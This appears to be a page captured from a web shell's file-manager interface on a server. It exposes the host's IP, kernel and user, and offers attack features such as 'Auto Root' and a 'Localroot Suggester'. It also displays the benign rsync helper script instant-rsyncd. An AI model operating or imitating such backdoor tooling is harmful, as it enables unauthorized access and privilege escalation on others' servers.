Linux unitednationsplay.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
nginx/1.20.1
Server IP : 188.130.139.92 & Your IP : 18.223.33.204
Domains :
Cant Read [ /etc/named.conf ]
User : web
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
doc /
rsync-3.1.2 /
support /
Delete
Unzip
Name
Size
Permission
Date
Action
Makefile
80
B
-rw-r--r--
2005-01-11 18:37
atomic-rsync
3.9
KB
-rw-r--r--
2008-10-11 16:30
cvs2includes
1.18
KB
-rw-r--r--
2007-03-21 13:51
deny-rsync
997
B
-rw-r--r--
2008-06-28 17:12
file-attr-restore
4.82
KB
-rw-r--r--
2006-12-20 00:50
files-to-excludes
534
B
-rw-r--r--
2006-01-30 21:52
git-set-file-times
910
B
-rw-r--r--
2009-01-13 22:52
instant-rsyncd
2.72
KB
-rw-r--r--
2009-01-13 22:52
logfilter
1.07
KB
-rw-r--r--
2005-10-04 04:12
lsh
2.21
KB
-rw-r--r--
2013-06-10 02:40
lsh.sh
956
B
-rw-r--r--
2013-06-10 02:40
mapfrom
629
B
-rw-r--r--
2008-11-16 02:32
mapto
621
B
-rw-r--r--
2008-11-16 02:32
mnt-excl
1.8
KB
-rw-r--r--
2011-07-04 23:32
munge-symlinks
1.43
KB
-rw-r--r--
2007-11-27 15:34
rrsync
7.07
KB
-rw-r--r--
2015-09-13 23:23
rsync-no-vanished
267
B
-rw-r--r--
2014-01-01 18:35
rsync-slash-strip
643
B
-rw-r--r--
2012-01-28 18:42
rsyncstats
8.56
KB
-rw-r--r--
2006-03-13 16:45
savetransfer.c
4.45
KB
-rw-r--r--
2006-12-18 07:24
Save
Rename
#!/bin/bash # instant-rsyncd lets you quickly set up and start a simple, unprivileged rsync # daemon with a single module in the current directory. I've found it # invaluable for quick testing, and I use it when writing a list of commands # that people can paste into a terminal to reproduce a daemon-related bug. # Sysadmins deploying an rsync daemon for the first time may find it helpful as # a starting point. # # Usage: instant-rsyncd MODULE PORT RSYNCD-USERNAME [RSYNC-PATH] # The script asks for the rsyncd user's password twice on stdin, once to set it # and once to log in to test the daemon. # -- Matt McCutchen <matt@mattmccutchen.net> set -e dir="$(pwd)" echo echo "This will setup an rsync daemon in $dir" if [ $# = 0 ]; then IFS='' read -p 'Module name to create (or return to exit): ' module [ ! "$module" ] && exit else module="$1" shift fi if [ $# = 0 ]; then IFS='' read -p 'Port number the daemon should listen on [873]: ' port else port="$1" shift fi [ "$port" ] || port=873 if [ $# = 0 ]; then IFS='' read -p 'User name for authentication (empty for none): ' user else user="$1" shift fi if [ "$user" ]; then IFS='' read -s -p 'Desired password: ' password echo fi rsync="$1" [ "$rsync" ] || rsync=rsync moduledir="${dir%/}/$module" mkdir "$module" cat >rsyncd.conf <<EOF log file = rsyncd.log pid file = rsyncd.pid port = $port use chroot = no [$module] path = $module read only = false EOF if [ "$user" ]; then cat >>rsyncd.conf <<-EOF auth users = $user secrets file = $module.secrets EOF touch "$module".secrets chmod go-rwx "$module".secrets echo "$user:$password" >"$module".secrets user="$user@" fi cat >start <<EOF #!/bin/bash set -e cd \`dirname \$0\` ! [ -e rsyncd.pid ] || { echo "Is the daemon already running? If not, delete rsyncd.pid." exit 1 } $rsync --daemon --config=rsyncd.conf EOF chmod +x start cat >stop <<"EOF" #!/bin/bash set -e cd `dirname $0` ! [ -e rsyncd.pid ] || kill -s SIGTERM $(< rsyncd.pid) EOF chmod +x stop path="rsync://$user$(hostname):$port/$module/" if ./start; then sleep .2 echo echo "I ran the start command for the daemon. The log file rsyncd.log says:" echo cat rsyncd.log echo echo "You can start and stop it with ./start and ./stop respectively." echo "You can customize the configuration file rsyncd.conf." echo echo "Give rsync the following path to access the module:" echo " $path" echo if [ "$user" ]; then echo "Let's test the daemon now. Enter the password you chose at the prompt." else echo "Let's test the daemon now." fi echo echo '$' $rsync --list-only "$path" $rsync --list-only "$path" echo echo "You should see an empty folder; it's $moduledir." else echo "Something went wrong. Do you see an error message?" fi